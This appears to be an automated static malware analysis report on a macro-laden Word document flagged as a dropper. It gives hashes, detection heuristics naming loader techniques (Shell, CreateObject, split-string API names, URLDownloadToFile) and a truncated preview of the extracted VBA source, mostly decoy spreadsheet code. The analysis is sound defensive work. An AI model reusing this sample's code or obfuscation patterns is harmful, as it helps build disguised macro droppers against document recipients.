Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6b26158914fa694f…

MALICIOUS

Office (OLE)

274.5 KB Created: 2020-01-27 16:00:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 0d8c4242368d9909e8a8a6d152712847 SHA-1: ee494b058903fa032710c728bfe56f9dfa6b5b37 SHA-256: 6b26158914fa694f6f036e2050e75daa7194ad1738dab9306aa4bc57212e8975
384 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains heavily obfuscated VBA macros, including a Document_Open auto-execution loader. Critical heuristics indicate the use of Shell() calls and the reassembly of dangerous API names like 'Win32_Process' from split string literals. This strongly suggests the macro is designed to execute arbitrary code, likely downloading and running a second-stage payload.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-7611638-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7611638-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.microsoft.com/cdo/configuration/sendusingIn document text (OLE body)
    • http://schemas.microsoft.com/cdo/configuration/smtpserverIn document text (OLE body)
    • http://schemas.microsoft.com/cdo/configuration/smtpserverportIn document text (OLE body)
    • http://schemas.microsoft.com/cdo/configuration/sendusernameIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 274300 bytes
SHA-256: b8d84ad5ded3b2512f4d79cac72a88a3badbe1ebd050b2703865a505eebc9031
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If Win64 Then
Private Declare PtrSafe Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As LongPtr, ByVal dwFlags As LongPtr, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As LongPtr, lpMultiByteStr As Any, ByVal cchMultiByte As LongPtr, ByVal lpDefaultChar As LongPtr, ByVal lpUsedDefaultChar As LongPtr) As LongPtr
Private Declare PtrSafe Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As LongPtr, ByVal dwFlags As LongPtr, lpMultiByteStr As Any, ByVal cchMultiByte As LongPtr, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As LongPtr) As Long
#Else
Private Declare Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpDefaultChar As Long, ByVal lpUsedDefaultChar As Long) As Long
Private Declare Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long) As Long

#End If
 

 
 Dim BhyeKo As Variant
 Dim GreFvcAc As Variant
 Dim Gteres As Variant

Sub WeeklyMetrics()

Dim Scores As Worksheet, my_ws As Worksheet, wsGS As Worksheet, aClient As Worksheet, enr As Worksheet
Dim b As Long, r As Long
Dim s As Range, t As Range, u As Range, v As Range,  As Range
Dim errorhandle As String, notready As String, frm As String, msg As String
Dim PTcache As PivotCache
Dim PT As PivotTable
Dim ScorR As String
Dim fd As FileDialog
Dim myFile As String, fpath As String, wbGS As String

Application.ScreenUpdating = False
Application.DisplayAlerts = False
Application.AskToUpdateLinks = False
Application.StatusBar = True


Set Scores = ActiveWorkbook.Sheets("Scores")
Set my_ws = ActiveWorkbook.Sheets("All")
ScorR = "\\path\file.xlsx"

'errors to handle
If Len(Dir(ScorR)) = 0 Then
    MsgBox "Error: Scoring Reference has moved on the network drive. Please edit the macro to the new location.", vbCritical, "Macro stopped"
    Exit Sub
End If

If Scores.Range("a1") = "" Then
    MsgBox "Looks like you're not ready for this yet. Did you add data from the Employee ID Scores query?", _
        vbInformation, "Macro stopped."
    Application.StatusBar = False
    Exit Sub
End If

Application.StatusBar = "Please select Enrollment Data"
'select enrollment data sheet and import
Set fd = Application.FileDialog(msoFileDialogFilePicker)
    With fd
        .Title = "Please select the file that contains your Enrollment Data for this week."
        .AllowMultiSelect = False
        If .Show <> -1 Then
            MsgBox "You did not select a file. Please click again and select a file to run the macro.", vbInformation
            Application.StatusBar = False
            Exit Sub
        End If
        fpath = .SelectedItems(1)
        wbGS = Dir(.SelectedItems(1))
        
    End With
    
If MsgBox("You selected " & wbGS & ". Continue?", vbYesNo) = vbNo Then
    MsgBox "Please start over."
    Exit Sub
ElseIf vbYes Then
    'do nothing
End If

Application.StatusBar = "1/10 Importing Scoring Reference Data"

Workbooks.Open (ScorR)

'copy over info needed for formulas instead of referring to outside workbooks
ActiveWorkbook.Worksheets(Array("Cut Score Reference", "Client Alpha", "User Alpha", _
    "my_exam Pilot", "GC-II Pilot", "my_exam Ops. 3")).Copy After:=ThisWorkbook.Worksheets("Pie Slices")
Workbooks("Scoring Reference.xlsx").Close

Set aClient = Sheets("Client Alpha")
'Prep Scores tab, only fills in columns J:L for speed
Scores.Activate

With Scores
    .Range("j2") = "=HLOOKUP($B2,'Cut Score Reference'!$A:$XFC,29,FALSE)"
    .Range("k2") = "=IFERROR(IF($B2=1,VLOOKUP($C2
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.